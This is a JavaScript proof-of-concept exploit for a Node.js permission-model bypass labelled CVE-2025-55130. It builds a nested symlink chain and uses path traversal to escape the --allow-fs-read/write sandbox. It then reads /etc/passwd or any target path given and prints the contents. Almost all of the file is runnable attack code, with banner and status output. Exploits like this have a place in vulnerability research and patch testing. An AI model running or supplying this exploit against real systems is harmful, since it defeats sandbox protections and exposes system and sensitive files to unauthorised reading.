/* * CVE-2025-55130 - Node.js Permission Model Bypass * * Escape --allow-fs-read/write sandbox via symlink + path traversal * * Run: node --permission --allow-fs-read=. --allow-fs-write=. exploit.js * * Original technique: natann @ JFrog Security Research */ const fs = require('fs'); const TARGET = process.argv[2] || '/etc/passwd'; const CHAIN = './pwn/a/b/c/d/e/f'; console.log(` =============================================== CVE-2025-55130 // Node.js Sandbox Escape =============================================== target: ${TARGET} node: ${process.version} =============================================== `); // Verify permission model is active if (typeof process.permission === 'undefined') { console.log('[!] permission model not active'); console.log('[!] run with: node --permission --allow-fs-read=. --allow-fs-write=. exploit.js'); process.exit(1); } // Setup console.log('[*] building symlink chain...'); try { fs.rmSync('./pwn', { recursive: true, force: true }); } catch(e) {} fs.mkdirSync(CHAIN, { recursive: true }); fs.symlinkSync(__dirname, CHAIN + '/link'); // Calculate traversal depth const depth = __dirname.split('/').filter(Boolean).length; const traversal = '../'.repeat(depth); const payload = `${CHAIN}/link/${traversal}${TARGET.replace(/^\//, '')}`; console.log('[*] payload: ' + payload); console.log('[*] traversal depth: ' + depth); console.log('[*] attempting read...\n'); try { const data = fs.readFileSync(payload, 'utf8'); console.log('[+] SANDBOX ESCAPED - read successful\n'); console.log('--- BEGIN ' + TARGET + ' ---'); console.log(data); console.log('--- END ---\n'); console.log('[+] node ' + process.version + ' is VULNERABLE'); } catch (err) { if (err.code === 'ERR_ACCESS_DENIED') { console.log('[-] access denied - patched or mitigated'); } else { console.log('[-] error: ' + err.code + ' - ' + err.message); } } // Cleanup fs.rmSync('./pwn', { recursive: true, force: true });